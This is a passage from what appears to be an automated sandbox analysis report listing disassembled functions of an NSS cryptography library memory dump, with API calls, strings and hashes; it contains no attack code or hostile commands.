PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A07E
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C67A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C67A0CF
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A12E
PL_FreeArenaPool.NSS3(?), ref: 6C67A140
PL_FinishArenaPool.NSS3(?), ref: 6C67A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A158
PL_FinishArenaPool.NSS3(?), ref: 6C67A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C67A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67A1B2
free.MOZGLUE(00000000), ref: 6C67A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C67A1D6

Part of subcall function 6C6955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5,00000003,-00000004,00000000,?,6C66EAC5), ref: 6C695627
Part of subcall function 6C6955E0: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B), ref: 6C69564F
Part of subcall function 6C6955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C695661
Part of subcall function 6C6955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5), ref: 6C6956AF

Strings

security, xrefs: 6C67A00F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction ID: 7d7db5065df9df95db9942e8cd8d3b8136aba2c4a1a90e86841dd5ea4fda52e4
Opcode Fuzzy Hash: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction Fuzzy Hash: 5E51E875D00209ABEB209BA4DC44BAF7379AF4230CF105924E805BAB42F771D559C7BE

Function 6C694C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C694C4C
EnterCriticalSection.KERNEL32(?), ref: 6C694C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694DB7

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C694DD7
EnterCriticalSection.KERNEL32(?), ref: 6C694DEC
PR_Unlock.NSS3(?), ref: 6C694E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C694E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C694E71
free.MOZGLUE(00000000), ref: 6C694E7A
PR_Unlock.NSS3(?), ref: 6C694EA2
TlsGetValue.KERNEL32 ref: 6C694EC1
EnterCriticalSection.KERNEL32(?), ref: 6C694ED6
PR_Unlock.NSS3(?), ref: 6C694F01
free.MOZGLUE(00000000), ref: 6C694F2A

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction ID: c7eadba8dfdcf8d112905d5e7f89dc14206fe8fe0b03632c4973cecca49b379e
Opcode Fuzzy Hash: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction Fuzzy Hash: ADB10075A00206EFDB00EF68D884BBA77B4BF0A318F044174ED2597B11EB71E965CB99

Function 6C69FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFB4

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFC6

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFD6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFE6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFF6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0006
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0016
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0026
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0036
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0046
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0056
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0066
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0076
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0086
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0096
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00A6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00B6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00C6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00D6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00E6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction ID: 46c0be7224f279011e5d4f149d0e3a213e0c61ad0ddb1409ee3b8ea372c33888
Opcode Fuzzy Hash: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction Fuzzy Hash: EB3139F0E1B7149E8B45EF26C24C94ABAF4BB26688714553AE02487F10DB74494BCFDD

Function 6C6E6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6E6BF7), ref: 6C6E6EB6

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C78FC0A,6C6E6BF7), ref: 6C6E6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6E6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6E6EFC
PR_NewLock.NSS3 ref: 6C6E6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6E6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6E6BF7), ref: 6C6E6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6E6BF7), ref: 6C6E6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6E6BF7), ref: 6C6E6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6E6BF7), ref: 6C6E6FFD

Strings

SSLKEYLOGFILE, xrefs: 6C6E6EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6E6FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6E6EF7
SSLFORCELOCKS, xrefs: 6C6E6F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6E6F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6E6FDB

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction ID: bfaa7fc9e1db0d61847c1811fb0bf64da549d59bd5bfb9ea467bde6d475f0f21
Opcode Fuzzy Hash: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction Fuzzy Hash: 6EA119B2A5FD8587E7504A3CCD0178432A6AB8B32AF584377EA31C7ED6DB35D480824D

Function 6C665DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C665DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C665E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C665E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C665E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C665EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C665ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C665F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C665F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C665F89
free.MOZGLUE(?), ref: 6C665FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C665FB6
free.MOZGLUE(00000000), ref: 6C665FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C666079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666094

Strings

, xrefs: 6C665EEB

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction ID: 10cc2dcea2be0ec3e3dd28649f9d367e685084ceadb61b549844765db08a7210
Opcode Fuzzy Hash: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction Fuzzy Hash: FB8114B1E002059BDF108F66DD82BAE77B5AF45318F144128E859A7F82E731E815CBDB

Function 6C63B860 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000144,?,?,?,?,?,6C63B45E,?,?,?,?,?,?,?,?), ref: 6C63B87D
TlsGetValue.KERNEL32 ref: 6C63B8FE
EnterCriticalSection.KERNEL32(?), ref: 6C63B912
TlsGetValue.KERNEL32 ref: 6C63B959
_PR_MD_UNLOCK.NSS3(?), ref: 6C63B977
calloc.MOZGLUE(00000001,0000002C), ref: 6C63B983
PR_NewCondVar.NSS3 ref: 6C63B9B9
InitializeCriticalSectionAndSpinCount.KERNEL32(-00000040,000005DC,?,?), ref: 6C63BA54
GetLastError.KERNEL32 ref: 6C63BA5F
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BA77
DeleteCriticalSection.KERNEL32(?), ref: 6C63BA96
free.MOZGLUE(?), ref: 6C63BA9D
free.MOZGLUE(?), ref: 6C63BAB3
DeleteCriticalSection.KERNEL32(?), ref: 6C63BACD
free.MOZGLUE(00000000), ref: 6C63BAD4

Strings

T {l, xrefs: 6C63BA0C
X {l, xrefs: 6C63B93C

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$free$DeleteErrorValuecalloc$CondCountEnterInitializeLastSpin
String ID: T {l$X {l
API String ID: 1841981668-736249941
Opcode ID: 180d0bfd76e2cce082cf6e65d42c441aa18a0c9d23a00365910ce8724745da72
Instruction ID: 878779299e9c994958c689362b4148c1232f3668f1fa0a85177cbd973475303c
Opcode Fuzzy Hash: 180d0bfd76e2cce082cf6e65d42c441aa18a0c9d23a00365910ce8724745da72
Instruction Fuzzy Hash: EE51DFB0A00B019FEB109F68DC48B9A7BF4FF46349F145539E85ED2A41EB31D445CB99

Function 6C64F850 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 262COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE004,00000000), ref: 6C64F86F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_smprintf.NSS3(%lu,?), ref: 6C64F899
PR_smprintf.NSS3(%s.%lu,00000000,?), ref: 6C64FA4E
PR_smprintf.NSS3(%s.%llu,00000000,00000000,00000000), ref: 6C64FAA2
PR_smprintf.NSS3(%s.UNSUPPORTED,00000000), ref: 6C64FAB6
free.MOZGLUE(00000000), ref: 6C64FAC1
PR_smprintf.NSS3(OID.UNSUPPORTED), ref: 6C64FAD3
__aulldiv.LIBCMT ref: 6C64FB00
PR_smprintf.NSS3(OID.%llu.%llu,00000000,?,00000000,FFFFFFD8,00000000,00000000,00000028,00000000), ref: 6C64FB4B

Strings

%s.%llu, xrefs: 6C64FA9D
OID.%lu.%lu, xrefs: 6C64FA7D
%s.%lu, xrefs: 6C64FA49
%s.UNSUPPORTED, xrefs: 6C64FAB1
OID.%llu.%llu, xrefs: 6C64FB46
OID.UNSUPPORTED, xrefs: 6C64FACE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: R_smprintf$ErrorValue__aulldivfree
String ID: %s.%llu$%s.%lu$%s.UNSUPPORTED$OID.%llu.%llu$OID.%lu.%lu$OID.UNSUPPORTED
API String ID: 2145857551-3523515424
Opcode ID: ebb4e731cb22839eacd64daf51770c2036a3b83a987d4b82c21a9a8f90c835fa
Instruction ID: 7047986eb314204ff0fcd524bd54ed49552a3a9f0564215b0d4e9f5d06aacc87
Opcode Fuzzy Hash: ebb4e731cb22839eacd64daf51770c2036a3b83a987d4b82c21a9a8f90c835fa
Instruction Fuzzy Hash: F2816B72E150318EEB084B7C8C5577EBBF29BC6304F18C669E466DFB45D670890483AA

Function 6C769C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C769C70
PR_NewLock.NSS3 ref: 6C769C85

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000), ref: 6C769C96

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewLock.NSS3 ref: 6C769CA9

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3 ref: 6C769CB9
PR_NewLock.NSS3 ref: 6C769CC9
PR_NewCondVar.NSS3(00000000), ref: 6C769CDA

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(?), ref: 6C769CF0
PR_NewPollableEvent.NSS3 ref: 6C769D03

Part of subcall function 6C75F3B0: PR_CallOnce.NSS3(6C7B14B0,6C75F510), ref: 6C75F3E6
Part of subcall function 6C75F3B0: PR_CreateIOLayerStub.NSS3(6C7B006C), ref: 6C75F402
Part of subcall function 6C75F3B0: PR_Malloc.NSS3(00000004), ref: 6C75F416
Part of subcall function 6C75F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C75F42D
Part of subcall function 6C75F3B0: PR_SetSocketOption.NSS3(?), ref: 6C75F455
Part of subcall function 6C75F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C75F473

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C769D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DAF
_PR_CreateThread.NSS3(00000000,6C769EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769D9F

Part of subcall function 6C63B3C0: TlsGetValue.KERNEL32 ref: 6C63B403
Part of subcall function 6C63B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C63B459

_PR_CreateThread.NSS3(00000000,6C76A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DFC
_PR_CreateThread.NSS3(00000000,6C76A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C769E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C769E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C769E89

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction ID: 47e0bda89cbaa6b437f2cb76a8c6fe7070108346d6ff20ce188df0cb11ec11ae
Opcode Fuzzy Hash: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction Fuzzy Hash: C8612BB1900706AFD710DF76D944AA6BBE8FF49308B044539E85AC7F11EB30E815CBA5

Function 6C663FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C664014

Part of subcall function 6C6639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F,?), ref: 6C663A08
Part of subcall function 6C6639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F), ref: 6C663A1C
